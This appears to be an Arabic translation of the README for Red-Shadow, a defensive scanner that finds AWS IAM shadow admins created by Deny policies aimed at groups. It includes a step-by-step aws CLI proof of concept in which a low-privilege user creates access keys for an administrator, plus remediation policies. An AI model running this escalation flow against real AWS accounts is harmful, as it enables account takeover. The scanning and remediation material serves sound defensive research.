
يقوم بمسح تكوينات AWS IAM للبحث عن مسؤولين ظليين عن طريق اكتشاف سياسات المنع غير الصحيحة التي تفشل في تقييد إجراءات المستخدم على المجموعات، مما يتيح اكتشاف تصعيد الامتيازات وإصلاحها.
قم بمسح تهيئة AWS IAM الخاصة بك بحثًا عن مسؤولين ظل (Shadow Admins) في AWS IAM استنادًا إلى سياسات المنع (Deny) غير الصحيحة التي لا تؤثر على المستخدمين في المجموعات، والتي اكتشفها فريق أبحاث الأمن في Lightspin.
تكتشف الأداة الأخطاء في التهيئة في كائنات IAM التالية:
لا يعمل منطق تقييم AWS IAM لسياسات المنع المطبقة على المجموعات بنفس الطريقة التي قد يكون معظم مهندسي الأمن معتادين عليها مع آليات التفويض الأخرى.
افترض أن هناك سياسة بمورد مجموعة تحتوي على منع صريح. في هذه الحالة، سيؤثر هذا فقط على إجراءات المجموعة وليس على إجراءات المستخدم، مما يعرض المؤسسات لأخطاء في التهيئة وثغرات إذا افترضوا أن العملية مماثلة لتلك الموجودة في Active Directory على سبيل المثال.
مثال لسياسة JSON ضعيفة:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
في هذا المثال، يجب أن تمنع السياسة أي إجراء IAM يقوم به المستخدمون أو المجموعات أو الأدوار المرتبطة بهذه السياسة تجاه المجموعة المسماة managers.
الحقيقة هي أن إجراء IAM بسيط مثل iam:ChangePassword سيعمل لأن سياسة المنع غير فعالة.
رابط إلى المدونة الكاملة للبحث الأمني
لدى AWS IAM فصل واضح بين إجراءات كائن المستخدم وإجراءات كائن المجموعة.
تتضمن القائمة التالية إجراءات كائن المستخدم التي تقوم الأداة بمسحها على سياسات المنع التي تؤثر على المجموعات (بجانب wildcard):
AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam:GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecificCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]
العديد من إجراءات كائن المستخدم المذكورة أعلاه يمكن أن تؤدي بسهولة إلى رفع الامتيازات (Privilege Escalation) أو اختراق الحساب، مثل إعادة تعيين كلمة مرور المسؤول، أو تعطيل MFA للحساب الجذر، وغيرها.
تم بناء Red-Shadow باستخدام Python 3 و Boto3.
تتطلب الأداة:
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
python3 red-shadow.py
تكتشف النتائج أي كائن IAM معرض لمثل هذا التجاوز في التفويض في AWS.
مثال على مخرجات النتائج:
++ Starting Red-Shadow ++
++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups
Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done
في هذا المخرج، يمكننا أن نرى أن سياسة المنع الخاصة بنا ProtectManagers غير فعالة ومعرضة للهجمات مثل رفع الامتيازات المذكورة أعلاه.
للتحقق من ثغرة IAM وتشغيل الاستغلال، يمكنك تنفيذ التدفق التالي:
aws iam create-group --group-name managersaws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws iam create-user --user-name JohnAdminaws iam add-user-to-group --user-name JohnAdmin --group-name managers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.jsonaws iam create-group --group-name backend-devaws iam create-user --user-name BobAttackeraws iam add-user-to-group --user-name BobAttacker --group-name backend-devaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
}
aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.jsonaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeysaws iam list-attached-group-policies --group backend-devaws iam create-access-key --user-name BobAttackerلنستغل الثغرة باستخدام:
aws iam create-access-key --user-name JohnAdmin --profile BobAttacker
اكتمل رفع الامتيازات!
بمجرد العثور على السياسات المعرضة لتجاوز التفويض، هناك طريقتان محتملتان لمعالجة الثغرة وإصلاح السياسة:
الخيار 1: قم بتعريف جميع المستخدمين ذوي الصلة في حقل المورد (resource) بدلاً من المجموعات لتجنب إجراءات IAM غير الفعالة، وامنع جميع إجراءات المجموعة، كما في المثال التالي:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
الخيار 2: استخدم شرطًا (condition) في السياسة مع iam:ResourceTag بدلاً من ذلك، كما في المثال التالي:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
تم إجراء هذا البحث بواسطة فريق أبحاث الأمن في Lightspin. لمزيد من المعلومات، اتصل بنا على [email protected].
هذا المستودع متاح بموجب رخصة Apache 2.0.